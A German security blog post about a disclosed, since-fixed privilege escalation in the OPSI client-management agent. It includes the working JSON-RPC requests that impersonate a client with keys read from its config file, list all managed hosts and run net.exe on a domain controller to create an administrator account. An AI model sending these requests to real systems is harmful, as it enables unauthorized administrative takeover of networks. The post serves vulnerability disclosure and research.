30. Januar 2017

secuvera-SA-2017-01 Privilege Escalation in OPSI-Umgebungen (“Rise of the Machines”)

Im Rahmen des intern stattfindenden LabDays habe ich das quelloffene Client-Management-Werkzeugs „Open PC Server Integration“ (=OPSI) der Firma uib GmbH aus Mainz bzw. die auf den Clients ausgebrachte Komponente „opsiclientagent“ mittels Pentesting-Methoden näher unter die Lupe genommen. Dabei konnte ich eine Schwäche identifizieren, die es mir erlaubt, Befehle auf anderen Systemen auszuführen. Dadurch war ich schließlich in der Lage, administrativen Zugriff auf anderen Systemen zu erlangen. Mit diesem Blog-Post möchte ich ein wenig die Hintergründe zu meiner Veröffentlichung hier, hier und hier beleuchten.

Kurzeinleitung OPSI

Auf einem Clientsystem läuft ein Agentendienst („the Machine“). Dieser wird als Systemdienst ausgeführt, nimmt Befehle von seinem Steuerungsserver („das Mutterschiff“) über eine Webschnittstelle entgegen und führt diese roboterhaft aus. In größeren Netzwerken gibt es also eine große Anzahl an Robotern, die auf Befehle des Mutterschiffs warten. Was aber, wenn ein Roboter seine Stimme erhebt und Befehle verteilt?

Die Problemsuche

Dafür habe ich die Kommunikation des Agentendienstes über den Proxy der Burp Suite umgeleitet. Kann man machen, wenn der OPSI-Admin (huhu 🙂 ) den Agenten in der Standardkonfiguration belassen hat und die zertifikatsbasierte Authentisierung nicht zum Tragen kommt. Dann sieht man auch, was für Nachrichten übertragen werden und wie die Authentisierung erfolgt. Beim Verstehen des Ablaufs wird man von der Ausgabe der möglichen Methoden durch das Mutterschiff und der bereitstehenden API-Beschreibung im Internet unterstützt. Methoden wie „hostControlExecute“ und „hostControlShutdown“ machten mich hellhörig. Also schnell mal den Aufruf abändern und dabei feststellen, dass man den PC der Kollegin den zweiten Testrechner durch den entstandenen Aufruf heruntergefahren hat. Tut mir leid 🙂
Ich darf also als impersonierter Roboter (denn ich authentisiere mich ja mit dessen Maschinenkennung) dem Mutterschiff Befehle erteilen wie „Fahre das System XY herunter“. Herunterfahren bzw. der daraus entstehende „Denial of Service“ des anderen Roboters ist ja wenig zielführend. Aber da war doch noch was mit execute…

Das Problem

Das Mutterschiff gibt den Befehl des Roboters an ein anderes Zielsystem weiter. Hierfür gibt es zwar eine Access-Control-List, diese ist aber bis zum Fix des Problems standardmäßig zu liberal und daher unsicher.

Das Angriffsszenario

Für den beschrieben Angriff brauchen wir lokale Administratorrechte als Grundvoraussetzung, denn nur jemand mit lokalen Adminrechten darf die Konfiguration des Agentendienstes und damit die Authentisierungsmerkmale der Webschnittstelle auslesen. (Anmerkung: Ich höre schon die „bei uns gibt’s keine Benutzer mit Admin-Berechtigung“-Rufe. Jaja, ist gut. Wer’s glaubt, wird seelig Been there, done that. Bei so einigen Penetrationstests habe ich das gehört und dann doch über Kurz oder Lang das Gegenteil erlebt. Nämlich, dass es einzelne Nutzer gibt, die sehr wohl (lokale) administrative Berechtigung zur Aufgabenerfüllung brauchen –> die berühmte „Ausnahme“). Der Klassiker ist der Arbeitsplatz eines Entwicklers, denn die persönliche Entfaltung Kreativität soll ja nicht durch Sicherheitsvorgaben drastisch eingeschränkt werden. Zurück zum Thema.

Der Angriff

Der Angriff ist im Wesentlichen in secuvera-SA-2017-01 beschrieben. Wir brauchen die Host-ID („host_id“) und den zugehörigen key („opsi_host_key“). Beides findet man in der Datei %programfiles(x86)%\opsi.org\opsi-client-agent\opsiclientd\opsiclientd.conf. Dann noch die Server-IP und dann kanns eigentlich los gehen.

Wir geben uns als Roboter aus und schicken dem Mutterschiff den Befehl, uns alle Hosts in der Datenbank auszugeben. (Nachfolgend angezeigte Anfragen kann man sich jeweils in den Repeater der Burp Suite kopieren…)

POST /rpc HTTP/1.1
Host: <OPSI-SERVER-IP>:4447
Content-Length: 136
Accept-Encoding: deflate, gzip
Accept: application/json, text/plain
content-type: application/json
Authorization: Basic <"host_id:opsi_host_key" coded in base64>
Connection: close

{"params": ["*", "", "", "", "", "", "", "", ""], "id": 2, "method": "getClientIds_list", "Hostname": "*"}

Der Server wirft uns ein Objekt mit allen von Ihm verwalteten Systemen zurück. Da picken wir uns nun interessante Systeme heraus. In unserem Beispiel einen Domänencontroller. Nachdem wir uns einen anderen Roboter ausgesucht haben, führen wir über das Mutterschiff Befehle auf dem anderen Roboter aus. Z. B. legen wir uns einen Benutzer an….

POST /rpc HTTP/1.1
Host: <OPSI-SERVER-IP>:4447
Content-Length: 136
Accept-Encoding: deflate, gzip
Accept: application/json, text/plain
content-type: application/json
Authorization: Basic <"host_id:opsi_host_key" coded in base64>
Connection: close

{"params": ["C:\\Windows\\System32\\net.exe user /add JohnConnor R3sitanceIs4live", "domaincontroller.test-network.lan"], "id": 2, "method": "hostControlSafe_execute"}

….und stecken diesen in die Gruppe der lokalen Administratoren.

POST /rpc HTTP/1.1
Host: <OPSI-SERVER-IP>:4447
Content-Length: 136
Accept-Encoding: deflate, gzip
Accept: application/json, text/plain
content-type: application/json
Authorization: Basic <"host_id:opsi_host_key" coded in base64>
Connection: close

{"params": ["C:\\Windows\\System32\\net.exe localgroup Administrators JohnConnor /add", "domaincontroller.test-network.lan"], "id": 2, "method": "hostControlSafe_execute"}

Jetzt kann man sich ja mal versuchen, auf dem System via RDP oder an der Konsole anzumelden 🙂 Ich mag gar nicht dran denken, was man noch alles ausführen hätte können… 😉

Behebung der Schwachstelle und Ausblick

OPSI bzw. die dahinter stehende Firma uib GmbH ging zum Glück sehr professionell damit um, sodass nach meiner Meldung ein Fix sehr schnell bereit gestellt werden konnte. Auch haben die Entwickler noch nach weiteren Schadensszenarien gesucht und herausgefunden, dass noch ein Denial of Service möglich ist, wenn jemand die Datenbank im Backend löscht. Das war aber nicht meine Intention und wurde von mir daher auch nicht weiter verfolgt. Daher Props an die Entwickler!

Eine Aktualisierung liefert eine neue, restriktivere ACL als Standard aus. Wer eine eigene ACL in Betrieb hat, sollte prüfen, inwieweit er die Vorgaben aus der neuen Standard-ACL übernehmen kann.

Bleibt mir nur zu sagen, dass OPSI (leider) nicht die einzigen sind, die Probleme mit der Maschine-zu-Maschine-Kommunikation in Netzwerken haben. Ich hab da noch was im Petto, aber ich befinde mich noch im Responsible Disclosure Verfahren…

/SB

Hintergrundinfos zu:

  • Responsible Disclosure Policy bei der secuvera
    Secuvera setzt auf das sog. Responsible Disclosure Verfahren, bei dem alle gesammelten Details zur Schwachstelle an Hersteller übermittelt werden, sodass diese in der Lage sind, die Schwachstelle zu beseitigen. Erst nach erfolgreicher Behebung des Problems in einem dafür als angemessen empfundenen Zeitraum, sowie einer Karenzzeit zur Einspielung der Behebung durch Anwender werden Informationen über Schwachstellen in Form eines Advisories veröffentlicht. Wenn ein Hersteller das Problem jedoch nicht anerkennen mag oder keine Reaktion auf unseren Kontaktversuch zeigt, wird die Beschreibung der Schwachstelle früher veröffentlicht, auch wenn kein Fix bereit steht.
  • Über Labdays
    Jeder Mitarbeiter im Geschäftsbereich Penetrationstests der secuvera GmbH nimmt am einmal im Monat verbindlich stattfindenden Labday teil. Der Labday dient zur persönlichen Weiterbildung der Mitarbeiter, indem neue Angriffstechniken unter Laborbedingungen nachvollzogen werden oder nach Schwachstellen in Produkten geforscht werden können.